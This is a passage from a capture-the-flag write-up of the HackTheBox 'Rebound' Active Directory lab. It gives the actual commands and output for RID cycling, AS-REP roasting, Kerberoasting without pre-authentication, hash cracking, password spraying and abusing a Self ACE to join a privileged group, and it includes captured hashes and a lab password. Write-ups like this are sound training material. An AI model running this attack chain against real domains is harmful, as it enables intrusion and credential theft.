Rebound - HackTheBox (Insane)
Summary
Rebound from HackTheBox was an insane rated Windows box that was an absolute beast of an AD box. It involves rid cycling, Kerberoasting without pre-authentication, remote ACL enumeration over OUs, enabling inheritance, adding shadow credentials, a cross-session relay attack, reading gMSA
passwords and exploiting Kerberos Constrained Delegation without Protocol Transition. The beauty of this box is the uncommon twists it showcases on standard AD attacks like ASREP roasting and constrained delegation, as well as realistic hardening measures like enforcing ‘account is sensitive and cannot be delegated’ and LDAP signing and channel binding enforced meaning using tooling was much harder. The twists force a deeper understanding of the exploits and tools behind them, with focus on manual enumeration with many worthwhile tricks learnt for real engagements.
Initial recon
Port scanning
Running an nmap scan with default scripts -sC
and versioning -sV
shows us this box represents a domain controller, dc01.rebound.htb
, due to ports 53
(DNS) , 88
(Kerberos) and 389,636,3268,3269
(LDAP/LDAPS) being open.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -sCV -p- 10.129.109.108 -T4 --min-rate 1000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-09 22:11 BST
Warning: 10.129.109.108 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.129.109.108
Host is up (0.11s latency).
Not shown: 65376 closed tcp ports (conn-refused), 134 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after: 2024-08-24T22:48:10
|_ssl-date: 2023-09-10T04:14:12+00:00; +7h00m06s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-10T04:14:13+00:00; +7h00m06s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after: 2024-08-24T22:48:10
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after: 2024-08-24T22:48:10
|_ssl-date: 2023-09-10T04:14:12+00:00; +7h00m06s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-10T04:14:13+00:00; +7h00m06s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after: 2024-08-24T22:48:10
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49678/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49679/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
49715/tcp open msrpc Microsoft Windows RPC
56425/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
|_clock-skew: mean: 7h00m05s, deviation: 0s, median: 7h00m05s
| smb2-time:
| date: 2023-09-10T04:14:05
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.21 seconds
With DNS info from the scan, we can updating our /etc/hosts
entry for local DNS resolution over the VPN.
1
10.129.109.108 rebound.htb dc01.rebound.htb
Guest access to SMB
One of the first things I like to try is if we have guest / unauthenticated access to any network shares over SMB. We can easily check this with crackmapexec
:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Desktop]
└─$ crackmapexec smb 10.129.109.108 -u kali -p '' --shares
SMB rebound.htb 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB rebound.htb 445 DC01 [+] rebound.htb\kali:
SMB rebound.htb 445 DC01 [*] Enumerated shares
SMB rebound.htb 445 DC01 Share Permissions Remark
SMB rebound.htb 445 DC01 ----- ----------- ------
SMB rebound.htb 445 DC01 ADMIN$ Remote Admin
SMB rebound.htb 445 DC01 C$ Default share
SMB rebound.htb 445 DC01 IPC$ READ Remote IPC
SMB rebound.htb 445 DC01 NETLOGON Logon server share
SMB rebound.htb 445 DC01 Shared READ
SMB rebound.htb 445 DC01 SYSVOL Logon server share
We see there is a non-standard share Shared
however, it seems empty.
RID brute forcing to enumerate users
Despite this, one neat trick to know is if we have unauthenticated READ access to IPC$
we can actually query it for a ton of information, specifically all usernames through RID cycling as outlined here. RID cycling involves first looking up the domain SID.
Then performing brute-force lookups for all possible user SIDs, from 500
to 10000
, which will resolve all domain users like so:
1
2
3
4
S-1-5-21-4078382237-1492182817-2568127209-500 (Administrator)
S-1-5-21-4078382237-1492182817-2568127209-501
S-1-5-21-4078382237-1492182817-2568127209-502
...
We can perform this easily with either crackmapexec
or impacket-lookupsid
, specifying 10000
to cycle through all possible user and group SIDs.
1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ crackmapexec smb rebound.htb -u anonymous -p "" --rid-brute 10000
└─$ impacket-lookupsid rebound.htb/anon@rebound.htb 10000
This gives us output with all groups and users. We can filter this down to a nice list of only users to store in users.txt
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ crackmapexec smb rebound.htb -u anonymous -p "" --rid-brute 10000 | awk -F ": " '/\(SidTypeUser\)/ {gsub(/rebound\\/, "", $2); sub(/ \(SidTypeUser\)/, "", $2); print $2}' > users.txt
Administrator
Guest
krbtgt
DC01$
ppaul
llune
fflock
jjones
mmalone
nnoon
ldap_monitor
oorend
winrm_svc
batch_runner
tbrady
delegator$
First User
ASREP roasting
We can then use ropnop’s Kerbrute tool to enumerate which of these are valid usernames through Kerberos Pre-Authentication, as well as check if any are AS-REP roastable. This just means a user can skip the Kerberos Pre-Authentication process of needing to present a timestamp encrypted with the user’s hashed password to validate that user is authorized to request the TGT
and simply retrieve an encrypted TGT
for the user in an AS-REP message without knowing the user’s password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~/Desktop]
└─$ kerbrute userenum -d rebound.htb --dc 10.129.109.138 user.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (9cfb81e) - 09/10/23 - Ronnie Flathers @ropnop
2023/09/10 17:04:28 > Using KDC(s):
2023/09/10 17:04:28 > 10.129.109.138:88
2023/09/10 17:04:28 > [+] VALID USERNAME: ppaul@rebound.htb
2023/09/10 17:04:28 > [+] VALID USERNAME: winrm_svc@rebound.htb
2023/09/10 17:04:28 > [+] VALID USERNAME: ldap_monitor@rebound.htb
2023/09/10 17:04:28 > [+] VALID USERNAME: oorend@rebound.htb
2023/09/10 17:04:28 > [+] VALID USERNAME: nnoon@rebound.htb
2023/09/10 17:04:28 > [+] VALID USERNAME: llune@rebound.htb
2023/09/10 17:04:28 > [+] VALID USERNAME: batch_runner@rebound.htb
2023/09/10 17:04:28 > [+] VALID USERNAME: tbrady@rebound.htb
2023/09/10 17:04:28 > [+] VALID USERNAME: delegator$@rebound.htb
2023/09/10 17:04:28 > [+] jjones has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$jjones@REBOUND.HTB:fe58524b93c13ea18a5738df5d34c268$5fc4b699e508bf58bb0332d4869ad40f30c5c971883c57c49ae8b520c26b02193d50b26028ab0a55dcfffd57f6d6fedde33bbc5ef62dc19a21709e12b530da21b244e7bc0f6d3cf0dffd6f2761b365f4de918f782ad71f368c1203d4b4abfb93cef5683f151e9df013ff168ce6146a42d8174682329ab1458a09beee37effb577cb1edb7319f238d83a9d8be10e5557bb1ee7991c6601b43fefa4b4e6e3a3c31e8a63630822c4f9aadc477ecac96b8907326375ca5ebdc8b46bb5be8bf43284d347c4178d18bb35b88bfd27c40e8ffe404279f2167c88b0090c16ae2b19c9d0b31fbee11feab21e2cef5ac51586f2984fb547b8e9a20059f8a85d82fc433
2023/09/10 17:04:28 > [+] VALID USERNAME: jjones@rebound.htb
2023/09/10 17:04:28 > Done! Tested 12 usernames (10 valid) in 0.348 seconds
Kerbrute confirms all of our domain accounts are valid, and interestingly that jjoness
does not require pre-authentication, presenting the hash from the encrypted TGT
nicely.
Unable to crack the hash
However trying to crack the hash rockyou.txt
is exhausted, which for HTB machines means it is not crackable.
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Desktop]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:11 DONE (2023-09-10 17:05) 0g/s 1236Kp/s 1236Kc/s 1236KC/s 0841079575..*7¡Vamos!
Session completed.
So we can’t crack the hash, but surely this wouldn’t be a rabbit hole?
Kerberoasting without creds and pre-authentication
In turns out encrypted TGTs
obtained through ASREP roasting can actually be used for Kerberoasting without having to control any Active Directory account - ref here and here. Kerberoasting is similar to AS-REP roasting but involves requesting a TGS
for any service with an SPN
set (possible by default by any domain user), then cracking the part of the TGS
response encrypted with the service account password hash. User accounts often set bad passwords, so this could give us our first set of credentials.
This is interesting as we can’t normally use the resulting TGT
from ASREP roasting since the TGT
session key (user password hash) is required to decrypt the TGT
. However, interestingly for Kerberoasting, access to the session key is not required, only the encrypted TGT
is. Therefore, if any account is configured to not require pre-authentication it is possible to Kerberoast without any credentials!
Installing a virtual environment
Impacket has been modified to support this in this pull request with the no-preauth
added for impacket-GetUserSPNs
, however it has not been merged into the master branch yet. Lets set up a python virtual environment (venv
) as to not break our current impacket install when we install this fork.
1
2
3
4
5
6
7
apt install python3-venv
python3 -m venv impacketEnv
source impacketEnv/bin/activate
git clone --branch getuserspns-nopreauth https://github.com/ShutdownRepo/impacket/ /tmp/impacket
cd /tmp/impacket
pip3 install .
python3 setup.py install
Then running impacket-GetUserSPNs
to Kerberoast remotely without credentials works, retrieving SPNs
from both ldap_monitor
and delegator$
!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(impacketEnv)─(kali㉿kali)-[/tmp/impacket]
└─$ python3 examples/GetUserSPNs.py -no-preauth jjones -usersfile ~/Desktop/user.txt -dc-host 10.129.109.138 rebound.htb/
Impacket v0.12.0.dev1+20230907.33311.3f645107 - Copyright 2023 Fortra
[-] Principal: ppaul - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: llune - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: jjones - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: mmalone - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: nnoon - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$23$*ldap_monitor$REBOUND.HTB$ldap_monitor*$73e0e88c0255894be1e186a1c61e79b2$0e9eb758dd00c62d65d9c69d3484c54d1660e53c29b04e2b6cb3fb0aea8bfa8d3ca522af2b4d466b654b57190d0f58a1df360436cfa4045155ac36c4b5e7161988ba661f401aa573ae4ecc6b9fb110216521e7926b9bc29492ea358368b3b96158ac5730c0b0241b76a56f355e71ce9b1cee3d0766f52de0fc756feb7c16ea981e936e832af35e8b78bd7933cd08944f0bc72dfb4241d8588f9a76dafc19388489e2e30b17799157a5a5d21f7917259e4cd63f7ab45ecaf111713cc5e2dc11a719c7305b0f76e73bc780a26e85d751def8721bc528c3371c7ea2d451f0ab982b2b2566e4ef454fefe099f253601358f45f121343fc2991546789496e52a648716ae07d953a0a4ab6be216d8f6a5f9137d3542bd9173fd5ce5c2e5e097b0c6a0d58508f619d0c201c9fadfd6353905ba1fd9c88e252f0bb76025b469a92d2c942b1f7c72d6af396dd48b9bd274693202b1dcc3394ab2821b70270a09117645cfc87e0cfe1d0c1167ea22bc6f85e4e731e4044ffef67276e5bb7d46d4a2cc10b38578dc8877dce2aa1c123df52c7bc1f687b87aa1a67a4470e8eb966856115298548b58c1bb6129190c59511ae850df46f9a27e735574f0bbb38d955dd4ca38a0bd81e77c4e16b7dd3746bb33df6f668ec926c6f2ce5ff2a583bf5e17148f8101244618ee401560939e0c9540879a64ea3acc5f88fd08f9aff3e793b862f54e8114b26fe86fbeb1395ee6f6f98a28b54997817922176f126d52d8702f07cc09a3869dcd05fb8141e959427f7a308f39ffddfb56c501238ca2c894cbcbe743462ecbd2560a98b91d0a7f61821b445c632e9394005a2d307354340e9be4b0df78858c8c1bc46a7cac82c2b3d1ef23f7a0730e92cf7985252d4284f0af2241707645a245badd687a4d42ef1272c77e7a33c7980b46b25367851a3ab44ad81aa7699270b5f805f4a73e265ef8a32b6e1fdbdda5aacc8c13fdfa72926cf3eb7f4b46cd4f0012581df50bf5698a6011576434d97163fa25e6c1e17289d3c558ea4b9ab400b2cc2588837df70b67558acf73aa81f25718e747ecf6ca18721710e7f27a9faa13a90a8b466939c2151fb93271ef521e80bdac6dddaece2aa183061d7a6a7db298720e17fd901d95929207e60b95c238dcf41c800ca4296601d4349e68ff9e4532d53a0780b8684c100d0c46ef69115d8a62bdf713123a559761ce13f3bab6ba61420c551e9f6c480f9b598a43749312de922c5ee44b89b88f69e9b9b2da9f21816ae7c5f604f72c7a78b9634eea287b3816dd056341f5b5283808cbf0caa584b422b7bc2af9cdcf2c13b50dcc91fc04a8749ebfbdce08baad5609bb3d91d763235
[-] Principal: oorend - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: ServiceMgmt - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: winrm_svc - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: batch_runner - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Principal: tbrady - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
$krb5tgs$18$delegator$$REBOUND.HTB$*delegator$*$6662303b277ab453488d1948$16da31c114b357cbcebd446dde95f8f2ec1c6ff521fe356ad29b7fc11bf7ed056415567fd2c33874b5a4e3c1415c8491973694d2a7cf0e8c0bbb9edf8fafcc4fa7736fd3c4787bc6d37d3b0bebc195a21b727598c7996f2ad944f0fbbad262545671d97d77fcecf33306fb4a35eff40cd3d6b4fc2cdfd5b44f4dbb24c6252e684a88d80c672fc0be17444b57da4f2b93161219c027c4a4bb319b43f13565530eacebb612a08f9e514770ce23cc6777beb1988064965b1bb923b2f22e8515ddab58ddaec010f4270af8fc198b2e947be376f9a96eeab8bb11ab828fdc947724478c7be1f04c44748c1d1f014cdb0c7a01b23defbf3ec1fbe59cdfc70a811daa585fb4c4b698b10f062fb1d35246fddf14bd68f083eb6588f158efaf2146bc3f68b49f6bc58eade3a92dfb37c55ba5c327fbcdec579fde084eeb03863e6e01b8df9d847327090e13da5eb7a53c419eba612e565c4f692b813f97332ecbf1142f3d92a95e3cc17a3e97bc431c6879cfd0a3ce86434e9e294fe6d2fd3fa9d02d2177af24c98744426f65aae8446f58cd6a4c861676f4fb7611ca1ae09cdd0cfcac40633ececa61aea635ca324b853875c517d49abae445a2683ba94fc55e8aff5387dc9b62fa79b949b476d5b5283fe0614ba209f514f34c28628e63d28881f02a85416c08aaa457d05518e005556821a78f77983e22364b4693bb9eb966eb01170dcde657d4c37d484eb9724ac2e0dd599b1a2525da5d697084c111b0fb325eefeda62b68616b787f75f927b0b8562788d78580aa90eedcc5122d8ea651cbb976aa0e7fbf5606d935626339de6cf5ce6e05b4260cad1c5fdadfd287b087240b30c3d3fdcc3e7002e9fbbd6487533cb72278613d25189963f4ef8329f654a6051de012b630b6bcecec0b5502d2e777abb4140919d45708fa295ca35416901ce2671fb4892a759c602b8376e60a9c51f08167d6b86ad4403034720bd348220ada6575bdc7819b2269f2fcf7c8199cf5736ca6d784fce9df177a95010d7d074ef79a62d8d09a091eb18db420e05236b2148ca10ea84fcbf865d10fc5a8a3d48336527141e3cf173731ea066c71ca4c17345ac8d7a8ee868493039c7d62280a32a739eab034c750dbda3b3a23f80827a9be0cb6d1cc88a583a10b3ee1451604f453f3f88f5c1f0ca90b780870f243c005318b164430fff49f6d48de92e25d1f373bd2bb69a5523d42343365bb58a27ac40e6d000cad4e42a6795a9ea69131b9c38986c325f9a80c56c2c7592c180f6753f27a4ac4a813588f1720e1f3e16ed0c6c870a5aef16497c425689fa87a56bfef61b275ff270ace8c5c479c474ca9a9c20889de85858a9ffc17c4aca907
Cracking the TGS hash
Both delegator$
(machine account) and ldap_monitor
had SPNs
set so were Kerberoastable, giving us a hash for both. As we will later find out delegator$
is a gMSA
account so won’t be crackable as gMSA
accounts have 240-byte, non human-readable passwords. This shows both the best and worst way to manage service accounts’ credentials!
Its worth trying to crack ldap_monitor
though as it’s a user created service account- this time is cracks!
1
2
3
4
5
6
7
8
9
10
┌──(impacketEnv)─(kali㉿kali)-[/tmp/impacket]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1GR8t@$$4u (?)
1g 0:00:00:06 DONE (2023-09-10 18:00) 0.1560g/s 2034Kp/s 2034Kc/s 2034KC/s 1Gobucs!..1DENA
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
This gives us our first keys into the kingdom: ldap_monitor:1GR8t@$$4u
.
Second User
Domain recon with credentials
We can test if this credential is valid and also for any sensitive user descriptions with crackmapexec's --users
flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(impacketEnv)─(kali㉿kali)-[/tmp/impacket]
└─$ crackmapexec smb rebound.htb -u ldap_monitor -p '1GR8t@$$4u' --users
SMB rebound.htb 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB rebound.htb 445 DC01 [+] rebound.htb\ldap_monitor:1GR8t@$$4u
SMB rebound.htb 445 DC01 [*] Trying to dump local users with SAMRPC protocol
SMB rebound.htb 445 DC01 [+] Enumerated domain user(s)
SMB rebound.htb 445 DC01 rebound.htb\Administrator Built-in account for administering the computer/domain
SMB rebound.htb 445 DC01 rebound.htb\Guest Built-in account for guest access to the computer/domain
SMB rebound.htb 445 DC01 rebound.htb\krbtgt Key Distribution Center Service Account
SMB rebound.htb 445 DC01 rebound.htb\ppaul
SMB rebound.htb 445 DC01 rebound.htb\llune
SMB rebound.htb 445 DC01 rebound.htb\fflock
SMB rebound.htb 445 DC01 rebound.htb\jjones
SMB rebound.htb 445 DC01 rebound.htb\mmalone
SMB rebound.htb 445 DC01 rebound.htb\nnoon
SMB rebound.htb 445 DC01 rebound.htb\ldap_monitor
SMB rebound.htb 445 DC01 rebound.htb\oorend
SMB rebound.htb 445 DC01 rebound.htb\winrm_svc
SMB rebound.htb 445 DC01 rebound.htb\batch_runner
SMB rebound.htb 445 DC01 rebound.htb\tbrady
Nothing is set in the description for any user which is great.
Lets try enumerate the ms-ds-machineaccountquota
with crackmapexec to see if the domain has been hardened at all. However, it seems LDAP signing is enforced, meaning all crackmapexec ldap modules don’t work with NTLM authentication and only seem to work with Kerberos authentication (-k
module).
1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ crackmapexec ldap rebound.htb -u ldap_monitor -p '1GR8t@$$4u' -M maq -- wont work
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ crackmapexec ldap rebound.htb -u ldap_monitor -p '1GR8t@$$4u' -k -M maq -- works
Anyhow, we see the MAQ
is 0
and knowing LDAP signing is enforced this domain has been significantly hardened so we’re in for a rough time …
Later on when we we parse the Default Domain Controllers Policy
we can confirm both LDAP signing and channel binding is enforced.
Password spraying
Its very common for password reuse across an AD environment, so lets see if the user that set up the ldap_monitor
service account also uses the same password for their personal account!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/Desktop]
└─$ crackmapexec smb rebound.htb -u user.txt -p '1GR8t@$$4u' --continue-on-success
SMB dc01.rebound.htb 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB dc01.rebound.htb 445 DC01 [-] rebound.htb\ppaul:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB dc01.rebound.htb 445 DC01 [-] rebound.htb\llune:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB dc01.rebound.htb 445 DC01 [-] rebound.htb\jjones:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB dc01.rebound.htb 445 DC01 [-] rebound.htb\mmalone:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB dc01.rebound.htb 445 DC01 [-] rebound.htb\nnoon:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB dc01.rebound.htb 445 DC01 [+] rebound.htb\ldap_monitor:1GR8t@$$4u
SMB dc01.rebound.htb 445 DC01 [+] rebound.htb\oorend:1GR8t@$$4u
SMB dc01.rebound.htb 445 DC01 [-] rebound.htb\winrm_svc:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB dc01.rebound.htb 445 DC01 [-] rebound.htb\batch_runner:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB dc01.rebound.htb 445 DC01 [-] rebound.htb\tbrady:1GR8t@$$4u STATUS_LOGON_FAILURE
SMB dc01.rebound.htb 445 DC01 [-] rebound.htb\delegator$:1GR8t@$$4u STATUS_LOGON_FAILURE
We see this was indeed the case and now have additional credentials: oorend:1GR8t@$$4u
Third User
Enumerating the domain with bloodhound
With these two sets of credentials, it wasn’t really clear where to go next. In these cases I like to use bloodhound
to fully enumerate the domain remotely. Nowadays crackmapexec has an awesome integration of bloodhound-python
using the --bloodhound
flag so we don’t even have to bother using a different tool!
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/Desktop]
└─$ crackmapexec ldap rebound.htb -u oorend -p '1GR8t@$$4u' -k --bloodhound -ns 10.10.11.231 -c all
SMB rebound.htb 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAPS rebound.htb 636 DC01 [+] rebound.htb\oorend
LDAPS rebound.htb 636 DC01 Resolved collection methods: acl, dcom, objectprops, psremote, group, trusts, rdp, localadmin, container, session
LDAPS rebound.htb 636 DC01 Using kerberos auth without ccache, getting TGT
LDAP rebound.htb 389 DC01 Done in 00M 06S
LDAPS rebound.htb 636 DC01 Compressing output into /home/kali/.cme/logs/DC01_rebound.htb_2023-09-16_212829bloodhound.zip
After the collection has completed we load up the neo4j
database and start the bloodhound GUI, then import the zip file our bloodhound-python
ingestor produced.
1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo neo4j start
┌──(kali㉿kali)-[~/Desktop]
└─$ bloodhound
From analysing the domain in a graphed format, bloodhound shows us a pretty nice path to obtain user by right clicking DC01
and clicking ‘shortest path to here’.
The ServiceMgmt
group has GenericAll
over OU=Service Users,DC=rebound,DC=htb
which contains winrm_svc
. Anyone in ServiceMgmt
should have the permission to reset the password of winrm_svc
to login via WinRM
, if the GenericAll
privilege is inherited down through the OU
.
However, in bloodhound there doesn’t seem to be obvious way to get access to fflock
or ppaul
(we already tried password reuse) or any special permissions over the ServiceMgmt
group.
Using ADUC remotely
I also found it useful to use Active Directory Users and Computers from RSAT
remotely on my Windows machine to do the enumeration. We can easily do this with a runas
and the credentials we have obtained:
1
2
C:\Windows\System32> runas /netonly /user:REBOUND\oorend "cmd.exe /c \"start C:\Windows\system32\dsa.msc /server=rebound.htb""
Enter the password for REBOUND\oorend: 1GR8t@$$4u
We again see the ServiceMgmt
group has GenericAll
over OU=Service Users,DC=rebound,DC=htb
in ADUC. The OU contains both batch_runner
and winrm_svc
, but again it seems there are no special permissions over these users.
Enumerating ACEs manually that bloodhound didn’t pick up
So it seems we’ve exhausted bloodhound’s capabilities. Sometimes bloodhound doesn’t pick up some ACEs
so manual enumeration is necessary. This is a little tricky finding tools that can do this whilst LDAP signing is enforced, but again crackmapexec comes to the rescue to read DACLs
with the read dacl module. We can verify the GenericAll
the ServiceMgmt
group has over the Service Users
OU with crackmapexec like so:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ crackmapexec ldap rebound.htb -u oorend -p '1GR8t@$$4u' -k -M daclread -o TARGET_DN='OU=Service Users,DC=rebound,DC=htb' ACTION=read PRINCIPAL=ServiceMgmt
SMB rebound.htb 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAPS rebound.htb 636 DC01 [+] rebound.htb\oorend
DACLREAD rebound.htb 389 DC01 Be carefull, this module cannot read the DACLS recursively.
DACLREAD rebound.htb 389 DC01 Found principal SID to filter on: S-1-5-21-4078382237-1492182817-2568127209-7683
DACLREAD rebound.htb 389 DC01 Target principal found in LDAP (OU=Service Users,DC=rebound,DC=htb)
DACLREAD ACE[6] info
DACLREAD ACE Type : ACCESS_ALLOWED_ACE
DACLREAD ACE flags : None
DACLREAD Access mask : FullControl (0xf01ff)
DACLREAD Trustee (SID) : ServiceMgmt (S-1-5-21-4078382237-1492182817-2568127209-7683)
I then had a thought that maybe ooren
(user we have compromised through password reuse) has special ACEs
that can get us into the ServiceMgmt
group, which from there we can reset winrm_svc
password.
We can dump all the DACLs
applied to the ServiceMgmt
group like so:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Desktop/htb/rebound ]
└─$ crackmapexec ldap rebound.htb -u oorend -p '1GR8t@$$4u' -k -M daclread -o TARGET=ServiceMgmt ACTION=read
SMB rebound.htb 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
LDAPS rebound.htb 636 DC01 [+] rebound.htb\oorend
DACLREAD rebound.htb 389 DC01 Be carefull, this module cannot read the DACLS recursively.
DACLREAD rebound.htb 389 DC01 Target principal found in LDAP (CN=ServiceMgmt,CN=Users,DC=rebound,DC=htb)
...
DACLREAD ACE[2] info
DACLREAD ACE Type : ACCESS_ALLOWED_ACE
DACLREAD ACE flags : None
DACLREAD Access mask : Self (0x8)
DACLREAD Trustee (SID) : oorend (S-1-5-21-4078382237-1492182817-2568127209-7682)
...
We see that oorend
has the Self
permission over the group. This article explains “The Self permission can be abused by an attacker to allow them to add themselves as a member of a group”. We can also confirm in ADUC oorend
actually has the right to add themselves to the ServiceMgmt
group!
So oorend
can just add themselves to the ServiceMgmt
group, then will have GenericAll
over the Service Users
OU and should then be able to reset the password of winrm_svc
if the permission is inherited down and login!
At the time of writing it doesn’t look like the
self
permission is part of bloodhound analysis (added in myself through manual enumeration).
Adding oorend to ServiceMgmt
Lets simply add ourselves to the group via ADUC session already spawned as oorend
.
Alternatively, we could use bloodyAD to add ourselves to the ServiceMgmt
group.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ python3 -m venv bloodyAD
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ source bloodyAD/bin/activate
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ pip3 install bloodyAD
┌──(kali㉿kali)-[~/Desktop/htb/rebound]
└─$ bloodyAD -u oorend -p '1GR8t@$$4u' -d rebound.htb --host rebound.htb add groupMember SERVICEMGMT oorend
[+] oorend added to SERVICEMGMT
Now can we reset the password of winrm_svc
with the GenericAll
over the OU it is in? Unfortunately it is not that simple. Inheritance is a key concept for ACLs in AD security on how objects retrieve permissions.
